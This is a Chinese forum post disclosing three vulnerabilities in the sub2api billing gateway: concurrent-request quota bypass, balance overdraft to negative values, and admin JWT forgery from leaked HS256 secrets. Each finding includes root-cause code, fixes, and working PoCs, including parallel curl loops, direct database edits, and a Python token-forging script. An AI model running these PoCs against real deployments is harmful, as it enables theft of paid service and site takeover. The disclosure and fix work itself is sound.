登录

Sub2api 再有余额类高危漏洞?

713
  • 楼主

    如下
    漏洞 D1:订阅模式并发超额消费(配额穿透)
    风险等级:高危 位置:订阅计费链路(准入校验 + 用量累加) 类型:业务逻辑 / 竞争条件

    描述
    sub2api 的订阅(subscription)分组会按日 / 周 / 月下发用量配额。配额判定发生在请求准入阶段,但实际费用是在上游响应返回后的异步计费任务里累加的。准入判定只比较 "历史已用量" 与限额,不包含本次请求的预估成本,且用量累加语句没有任何上限守卫。因此在同一时间窗内并发发起多个请求时,每个请求都会看到同一份 "尚未超限" 的旧用量快照并全部放行,最终用量可成倍突破配额。

    叠加因素:订阅模式完全没有在途余额 / 配额预留——handler/gateway_inflight_reservation.go:77 对订阅分组直接返回 inflightNoop,而余额模式至少还有 Redis 在途预留兜底。

    根因
    // handler/gateway_inflight_reservation.go:77 —— 订阅模式放弃在途预留
    if apiKey.Group != nil && apiKey.Group.IsSubscriptionType() && subscription != nil {
    return ctx, inflightNoop, nil
    }
    // service/subscription_service.go:1037 —— 只比 "已用量",additionalCost 恒传 0
    if !sub.CheckDailyLimit(group, 0) {
    return needsMaintenance, ErrDailyLimitExceeded
    }
    -- repository/user_subscription_repo.go:471-484 —— 累加无上限守卫
    UPDATE user_subscriptions us
    SET daily_usage_usd = us.daily_usage_usd + $1,
    weekly_usage_usd = us.weekly_usage_usd + $1,
    monthly_usage_usd = us.monthly_usage_usd + $1,
    updated_at = NOW()
    WHERE us.id = $2 AND us.deleted_at IS NULL ...
    复现前置
    订阅型分组:groups.subscription_type='subscription',daily_limit_usd=0.1
    目标用户有该分组的有效 user_subscriptions 行
    该分组下有可用上游账号;用户 API Key 绑定该分组
    清掉订阅缓存 billing:sub:<uid>:<gid>(否则旧快照会先把你 403 掉)
    PoC
    BASE=http://127.0.0.1:8080
    SKEY="PH:SUB_KEY" # 绑定订阅分组的 key
    uid=PH:USER_ID; gid=PH:GROUP_ID

    1) 清零用量并清缓存,避免旧快照干扰

    docker exec sub2api-postgres psql -U sub2api -d sub2api -c
    "UPDATE user_subscriptions SET daily_usage_usd=0,weekly_usage_usd=0,monthly_usage_usd=0 WHERE user_id=$uid;"
    docker exec sub2api-redis redis-cli -a "PH:REDIS_PASSWORD" --no-auth-warning del "billing:sub:$uid:$gid"

    2) 并发 20 发(每发约 0.078 USD,日限额仅 0.1)

    M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
    for i in $(seq 1 20); do
    curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages
    -H "Authorization: Bearer $SKEY" -H 'Content-Type: application/json' -d "$M" &
    done | sort | uniq -c
    wait; sleep 7

    3) 读结果

    docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc
    "select daily_usage_usd from user_subscriptions where user_id=$uid"
    实测结果(本实例)
    20 200 ← 20 发全部放行,0 个被拦
    日用量: 1.5600000000 / 限额 0.1 ← 超出 15.6 倍
    订阅计费请求: 20 笔
    串行对照(同一环境,逐发):第 1、2 发 200(此时已用量 0.078 ≤ 0.1),第 3 发起 429 DAILY_LIMIT_EXCEEDED。说明即使不并发也必然多放一份,并发只是把倍数放大到 N。

    影响
    订阅用户可用一份配额消耗 N 份上游额度(N ≈ 并发数)。对按量采购上游的运营方,这是直接的现金流损失;对转售场景,等于订阅套餐失去定价意义。

    修复建议
    订阅模式接入在途预留(按 max_tokens × 输出单价 估算,Redis 原子扣减);
    或在 IncrementUsage 上加条件守卫:... WHERE daily_usage_usd + $1 <= <limit>,受影响行数为 0 即拒绝;
    准入时把 additionalCost 传成预估成本,而不是 0。
    漏洞 D2:余额模式并发透支(余额可被扣成负数)
    风险等级:高危 位置:余额扣减 + 网关准入 类型:业务逻辑 / 竞争条件

    描述
    余额扣减函数在 "余额足够" 分支失败后,会落到一个无条件扣减的兜底分支,直接把余额扣成负数。而网关准入只判断 balance <= 0,成本又在响应后才结算。两者叠加后,一个只剩" 一次请求的钱 "的账户并发发起 N 个请求,N 个请求都会通过准入并各自计费,最终余额远超应付额度。系统随后只会用 <= 0 拦住" 下一批 " 请求,已经发生的消费不可追回。

    根因
    // repository/user_repo.go:883 —— 先条件扣,扣不动就无条件扣(透支策略)
    n, err := client.User.Update().
    Where(dbuser.IDEQ(id), dbuser.BalanceGTE(amount)).
    AddBalance(-amount).Save(ctx)
    if n > 0 {return nil}

    n, err = client.User.Update(). // ← 余额不足也照扣,余额变负
    Where(dbuser.IDEQ(id)).
    AddBalance(-amount).Save(ctx)
    // server/middleware/api_key_auth.go:397 —— 只拦 "已经没钱"
    func apiKeyBalanceBelowAuthThreshold(balance float64, _ *config.Config) bool {
    return balance <= 0
    }
    复现前置
    余额模式(标准)分组,用户 API Key 已绑定
    该分组下有可用上游账号
    已知单次请求成本(本文用 0.078 USD)
    PoC
    BASE=http://127.0.0.1:8080
    KEY="PH:API_KEY"; uid=PH:USER_ID; COST=0.078

    1) 余额精确设为 "恰好够一次"

    docker exec sub2api-postgres psql -U sub2api -d sub2api -c
    "UPDATE users SET balance=$COST WHERE id=$uid;"

    2) 并发 10 发

    M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
    for i in $(seq 1 10); do
    curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages
    -H "Authorization: Bearer $KEY" -H 'Content-Type: application/json' -d "$M" &
    done | sort | uniq -c
    wait; sleep 6

    3) 读结果

    docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc
    "select balance from users where id=$uid;
    select count(*), sum(actual_cost) from usage_logs where user_id=$uid and created_at>now()-interval'2 minutes';"
    实测结果(本实例)
    10 200 ← 10 发全部放行
    余额: 0.07800000 -> -0.70200000 ← 被扣成负数
    新增计费: 10 笔 本轮费用: 0.78 USD ← 应付 0.078,实付 0.78
    即:支付 1 份钱,消耗 11 份用量(含此前 1 次基准请求),透支倍数 ≈ 11×。

    影响
    用户在余额见底前并发 "抢跑",一次性薅走 N 倍额度后弃号,损失不可回收;
    负余额账户在下一次请求即被 403,但已消费部分无法追偿;
    与 "自抹 key 限额"(quota=0 + reset_quota)组合,可把透支窗口拉得更长。
    修复建议
    兜底分支改为返回错误或写入 "欠款" 并把 users.status 置为 disabled;
    准入阶段按预估成本做在途预留,并强制 fail_closed_on_unpriced=true(未定价模型不再 fail-open);
    计费结算改为 WHERE balance >= cost 的条件更新,失败即拒单。
    漏洞 P1:部署密钥明文暴露 → 伪造管理员 JWT → 任意篡改用户余额
    风险等级:严重(可直接接管全站) 位置:部署配置 + JWT 签发 / 校验 类型:凭证泄露 → 认证绕过 → 越权

    描述
    部署目录下的 .env 与 data/config.yaml 以明文同时保存了数据库口令、Redis 口令、JWT_SECRET 和 TOTP_ENCRYPTION_KEY。由于 JWT 使用 HS256 对称签名,拿到 JWT_SECRET 即可在离线状态下自行签发任意角色的访问令牌;而 token_version 是由 email + password_hash 派生的确定性值(数据库可读),会话绑定的 bnd 字段留空时校验直接放行。三条特性叠加,攻击者无需任何用户口令即可构造出管理员令牌,进而调用管理接口任意修改用户余额、读取全站数据、变更系统配置。

    根因

    /www/wwwroot/sub2api/data/config.yaml(.env 同源)

    database:
    password: PH:POSTGRES_PASSWORD
    redis:
    password: PH:REDIS_PASSWORD
    jwt:
    secret: PH:JWT_SECRET
    totp:
    encryption_key: PH:TOTP_ENCRYPTION_KEY
    // service/auth_service.go:1944-1947 —— token_version 可由 公开字段 + password_hash 推导
    material := strings.ToLower(strings.TrimSpace(user.Email)) + "\n" + user.PasswordHash
    sum := sha256.Sum256([]byte(material))
    fingerprint := int64(binary.BigEndian.Uint64(sum[:8]) & 0x7fffffffffffffff)
    return user.TokenVersion ^ fingerprint
    // server/middleware/session_binding.go:71 —— bnd 为空即跳过会话绑定
    if claims == nil || claims.BindingHash == "" {
    return true
    }
    复现前置
    能读取 config.yaml 或 .env(目录穿越、备份泄露、插件 / 模板读取、或其他文件读取面)
    或直接拿到数据库口令(同一文件内,一次泄露即全拿)
    PoC

    forge_jwt.py —— 离线签发管理员令牌

    import base64, hmac, hashlib, json, struct, time

    SECRET = "PH:JWT_SECRET" # config.yaml: jwt.secret
    EMAIL = "PH:ADMIN_EMAIL" # users.email where role='admin'
    PW_HASH = "PH:ADMIN_PASSWORD_HASH" # users.password_hash
    UID, ROLE = PH:ADMIN_UID, "admin"

    b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=")
    fp = struct.unpack(">q", hashlib.sha256((EMAIL.lower()+"\n"+PW_HASH).encode()).digest()[:8])[0] & 0x7fffffffffffffff
    now = int(time.time())
    claims = {"user_id": UID, "email": EMAIL, "role": ROLE, "token_version": fp,
    "sid": "deadbeefcafe0001", # 任意
    # 不写 bnd → 会话绑定校验直接放行
    "exp": now+86400, "nbf": now, "iat": now}
    h = b64(b'{"alg":"HS256","typ":"JWT"}')
    p = b64(json.dumps(claims, separators=(",",":")).encode())
    s = b64(hmac.new(SECRET.encode(), h+b"."+p, hashlib.sha256).digest())
    print((h+b"."+p+b"."+s).decode())
    TOKEN=$(python3 forge_jwt.py)

    验证管理员身份

    curl -s -o /dev/null -w '%{http_code}\n'-H"Authorization: Bearer $TOKEN"
    http://127.0.0.1:8080/api/v1/admin/settings # 200

    任意修改余额(set / add / subtract)

    curl -s -X POST http://127.0.0.1:8080/api/v1/admin/users/PH:USER_ID/balance
    -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json'
    -d '{"balance":888,"operation":"set"}' # 200

    或完全绕过应用层

    PGPASSWORD=PH:POSTGRES_PASSWORD psql -h 127.0.0.1 -U sub2api -d sub2api
    -c "UPDATE users SET balance=888 WHERE id=PH:USER_ID;"
    实测结果(本实例)
    GET /api/v1/admin/settings -> 200
    GET /api/v1/admin/users/3/balance-history -> 200
    POST /api/v1/admin/users/3/balance -> 200
    数据库: [email protected] | 888.00000000
    余额变更会触发 trg_users_auth_cache_invalidation,Redis 缓存同步失效,改完立即生效,无需重启。

    影响
    全站任意用户余额可改(含管理员自身)、可提权、可读全站数据(用户、API Key、用量、支付订单、审计日志);
    可修改系统设置:开启注册、改支付渠道商户号、改回调地址、植入自定义页面内容;
    data/ 整体挂载进容器(./data:/app/data),一次读取即同时暴露配置与运行数据。

    收藏支持反对打赏

3 条回复

发表回复